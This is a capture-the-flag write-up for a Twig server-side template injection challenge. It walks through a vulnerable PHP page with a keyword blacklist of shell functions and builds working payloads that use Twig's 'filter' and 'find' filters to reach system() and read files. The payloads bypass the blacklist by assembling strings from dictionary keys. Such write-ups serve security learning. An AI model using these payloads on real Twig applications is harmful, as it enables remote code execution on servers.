Description
Check out my free online Twig playground! https://twig-playground-web.challs.csc.tf
Author: 0xM4hm0ud
Had some time last weekend to play CyberSpace ctf 2024, and managed to solve TwigPlayground by 0xM4hm0ud
Twig SSTI
For this challenge, by reading the src we can tell any basic SSTI payload wont work.
<?php
ini_set('display_errors', 0);
ini_set('error_reporting', 0);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
require_once 'vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader([]);
$twig = new \Twig\Environment($loader, [
'debug' => true,
]);
$twig->addExtension(new \Twig\Extension\DebugExtension());
$context = [
'user' => [
'name' => 'Wesley',
'age' => 30,
],
'items' => ['Apple', 'Banana', 'Cherry', 'Dragonfruit'],
];
// Ensure no SSTI or RCE vulnerabilities
$blacklist = ['system', 'id', 'passthru', 'exec', 'shell_exec', 'popen', 'proc_open',
'pcntl_exec', '_self', 'reduce', 'env', 'sort', 'map', 'filter', 'replace',
'encoding', 'include', 'file', 'run', 'Closure', 'Callable', 'Process',
'Symfony', '\'', '"', '.', ';', '[', ']', '\\', '/', '-'];
$templateContent = $_POST['input'] ?? '';
foreach ($blacklist as $item) {
if (stripos($templateContent, $item) !== false) {
die("Error: The input contains forbidden content: '$item'");
}
}
try {
$template = $twig->createTemplate($templateContent);
$result = $template->render($context);
echo '<h2>Rendered Output:</h2>';
echo '<div class="output">';
echo htmlspecialchars($result); // Ensure no XSS vulnerabilities
echo '</div>';
} catch(Exception $e) {
echo '<div class="error">Something went wrong! Try again.</div>';
}
}
?>
However if we wanna solve this challenge we need to understand how actual SSTI in twig is achieved.
Basic SSTI in Twig
First let’s ignore the long blacklist, let’s see how we can achieve RCE from SSTI in twig
A simple example from payloads all things
{{['id']|filter('system')}}
What’s happening here? Let’s check twig’s definition of the filter filter
// file: src/Extension/CoreExtenion.php
public static function filter(Environment $env, $array, $arrow)
{
if (!is_iterable($array)) {
throw new RuntimeError(\sprintf('The "filter" filter expects a sequence/mapping or "Traversable", got "%s".', \is_object($array) ? \get_class($array) : \gettype($array)));
}
self::checkArrowInSandbox($env, $arrow, 'filter', 'filter');
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH);
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
In this example, the filter() function is using the builtin php function array_filter
, however this function can be dangerous if we are able to call an arrow function/callback function.
So in the background this is what’s really happening:
array_filter(['id'],'system'); // uid=0(root) gid=0(root) groups=0(root)
Twig source
Okey, great we know how it works now we can start figuring out the bypass. While reading the twig src code, we find a different number of functions and filters defined, let’s list them all and check whats blocked
public function getFilters(): array
{
return [
// formatting filters
new TwigFilter('date', [$this, 'formatDate']),
new TwigFilter('date_modify', [$this, 'modifyDate']),
new TwigFilter('format', [self::class, 'sprintf']),
new TwigFilter('replace', [self::class, 'replace']),
new TwigFilter('number_format', [$this, 'formatNumber']),
new TwigFilter('abs', 'abs'),
new TwigFilter('round', [self::class, 'round']),
// encoding
new TwigFilter('url_encode', [self::class, 'urlencode']),
new TwigFilter('json_encode', 'json_encode'),
new TwigFilter('convert_encoding', [self::class, 'convertEncoding']),
// string filters
new TwigFilter('title', [self::class, 'titleCase'], ['needs_charset' => true]),
new TwigFilter('capitalize', [self::class, 'capitalize'], ['needs_charset' => true]),
new TwigFilter('upper', [self::class, 'upper'], ['needs_charset' => true]),
new TwigFilter('lower', [self::class, 'lower'], ['needs_charset' => true]),
new TwigFilter('striptags', [self::class, 'striptags']),
new TwigFilter('trim', [self::class, 'trim']),
new TwigFilter('nl2br', [self::class, 'nl2br'], ['pre_escape' => 'html', 'is_safe' => ['html']]),
new TwigFilter('spaceless', [self::class, 'spaceless'], ['is_safe' => ['html'], 'deprecation_info' => new DeprecatedCallableInfo('twig/twig', '3.12')]),
// array helpers
new TwigFilter('join', [self::class, 'join']),
new TwigFilter('split', [self::class, 'split'], ['needs_charset' => true]),
new TwigFilter('sort', [self::class, 'sort'], ['needs_environment' => true]),
new TwigFilter('merge', [self::class, 'merge']),
new TwigFilter('batch', [self::class, 'batch']),
new TwigFilter('column', [self::class, 'column']),
new TwigFilter('filter', [self::class, 'filter'], ['needs_environment' => true]),
new TwigFilter('map', [self::class, 'map'], ['needs_environment' => true]),
new TwigFilter('reduce', [self::class, 'reduce'], ['needs_environment' => true]),
new TwigFilter('find', [self::class, 'find'], ['needs_environment' => true]),
// string/array filters
new TwigFilter('reverse', [self::class, 'reverse'], ['needs_charset' => true]),
new TwigFilter('shuffle', [self::class, 'shuffle'], ['needs_charset' => true]),
new TwigFilter('length', [self::class, 'length'], ['needs_charset' => true]),
new TwigFilter('slice', [self::class, 'slice'], ['needs_charset' => true]),
new TwigFilter('first', [self::class, 'first'], ['needs_charset' => true]),
new TwigFilter('last', [self::class, 'last'], ['needs_charset' => true]),
// iteration and runtime
new TwigFilter('default', [self::class, 'default'], ['node_class' => DefaultFilter::class]),
new TwigFilter('keys', [self::class, 'keys']),
];
}
public function getFunctions(): array
{
return [
new TwigFunction('parent', null, ['parser_callable' => [self::class, 'parseParentFunction']]),
new TwigFunction('block', null, ['parser_callable' => [self::class, 'parseBlockFunction']]),
new TwigFunction('attribute', null, ['parser_callable' => [self::class, 'parseAttributeFunction']]),
new TwigFunction('max', 'max'),
new TwigFunction('min', 'min'),
new TwigFunction('range', 'range'),
new TwigFunction('constant', [self::class, 'constant']),
new TwigFunction('cycle', [self::class, 'cycle']),
new TwigFunction('random', [self::class, 'random'], ['needs_charset' => true]),
new TwigFunction('date', [$this, 'convertDate']),
new TwigFunction('include', [self::class, 'include'], ['needs_environment' => true, 'needs_context' => true, 'is_safe' => ['all']]),
new TwigFunction('source', [self::class, 'source'], ['needs_environment' => true, 'is_safe' => ['all']]),
new TwigFunction('enum_cases', [self::class, 'enumCases'], ['node_class' => EnumCasesFunction::class]),
];
}
While reading the src code, we also checked the documentation, however one filter that was missing in the docs, the find
filter
Awesome let’s check it’s code and see maybe its possible to use it
public static function find(Environment $env, $array, $arrow)
{
self::checkArrowInSandbox($env, $arrow, 'find', 'filter');
foreach ($array as $k => $v) {
if ($arrow($v, $k)) {
return $v;
}
}
return null;
}
We can see this code is allowing us to include an arrow function. Easy now let’s see how we can use find to get RCE
{{ ['id']|find('system') }} // uid=0(root) gid=0(root) groups=0(root)
Nice! okey now for the real issues..
Payload
In this challenge, one of the obstacles to generating a payload is finding ways to build strings without quotes or double quotes and also find ways around the array restriction “[]”
After digging around in twig docs, we can see that we can define arrays like this without using quotes
{% set foo = {foo: bar} %}
but how would this help? Luckily for us, the filter keys
can retrieve array keys and return them.
{% set foobar = {foo: 1,bar: 2}|keys %}{{dump(foobar)|raw}} // array(2) { [0]=> string(3) "foo" [1]=> string(3) "bar" }
But the output is still an array? Easy we can use join() to join them into a string. And we get this.
{% set foobar = {foo: 1,bar: 2}|keys|join %}{{dump(foobar)|raw}} // string(6) "foobar"
Now we can prepare our payload slowly, let’s start with the strings
{% set syste={syste:1}|keys|join() %}
{% set m={m:1}|keys|join() %}
{% set i={i:1}|keys|join() %}
{% set d={d:1}|keys|join() %}
{% set rce=i~d %}
{{ {rce}|find(syste~m) }}
// uid=1000 gid=1000 groups=1000 id
okey now this is easy right?
Well there are just few complications, the flag is located at /
so how can we get the slash?
Simply find any output from a function or filter that is not blocked that outputs a slash and you can simply slice it and use it.
For my case, this is what i used
{% set slash=(dump()|nl2br()|slice(14,1))|join() %}
ok now the space? Easy, same method for the slash.
{% set space=(dump()|nl2br()|slice(13,1))|join() %}
Almost there
So great now we can do ls /
like this
{% set slash=(dump()|nl2br()|slice(14,1))|join() %}
{% set space=(dump()|nl2br()|slice(13,1))|join() %}
{% set syste={syste:1}|keys|join() %}
{% set m={m:1}|keys|join() %}
{% set ls={ls:1}|keys|join() %}
{% set rce=ls~space~slash %}
{{ {rce}|find(syste~m) }}
// bin dev etc flag-edbfcbcaef home lib media mnt opt proc root run sbin srv sys tmp usr var ls /
But as you see the flag has a -
in it, so either we find a way to get a dash -
or an asterix *
where we can do cat /flag*
However we can easily get the dash from this
{% set dash=_charset|slice(3,1)|join() %}
{{dash}} // -
Finally
After finding all the pieces we can simply add them up together
{% set slash=(dump()|nl2br()|slice(14,1))|join() %}
{% set space=(dump()|nl2br()|slice(13,1))|join() %}
{% set syste={syste:1}|keys|join() %}
{% set m={m:1}|keys|join() %}
{% set cat={cat:1}|keys|join() %}
{% set flag1={flag:1}|keys|join() %}
{% set dash=_charset|slice(3,1)|join() %}
{% set flag2={edbfcbcaef:1}|keys|join() %}
{% set rce=cat~space~slash~flag1~dash~flag2 %}
{{ {rce}|find(syste~m) }} // CSCTF{Tw1g_tw1g_ssT1_n0_h4cKtr1ck5_th1S_t1M3}
flag: CSCTF{Tw1g_tw1g_ssT1_n0_h4cKtr1ck5_th1S_t1M3}
Notes
The main part of this challenge is finding the find
filter. However, there are many other ways other than filters as long as they have some method of using a callback/arrow function like this $arrow($v,$k)
Some examples are the has some
and has every
which are operators in Twig.
public static function arrayEvery(Environment $env, $array, $arrow)
{
self::checkArrowInSandbox($env, $arrow, 'has every', 'operator');
foreach ($array as $k => $v) {
if (!$arrow($v, $k)) {
return false;
}
}
return true;
}
public static function arraySome(Environment $env, $array, $arrow)
{
self::checkArrowInSandbox($env, $arrow, 'has some', 'operator');
foreach ($array as $k => $v) {
if ($arrow($v, $k)) {
return true;
}
}
return false;
}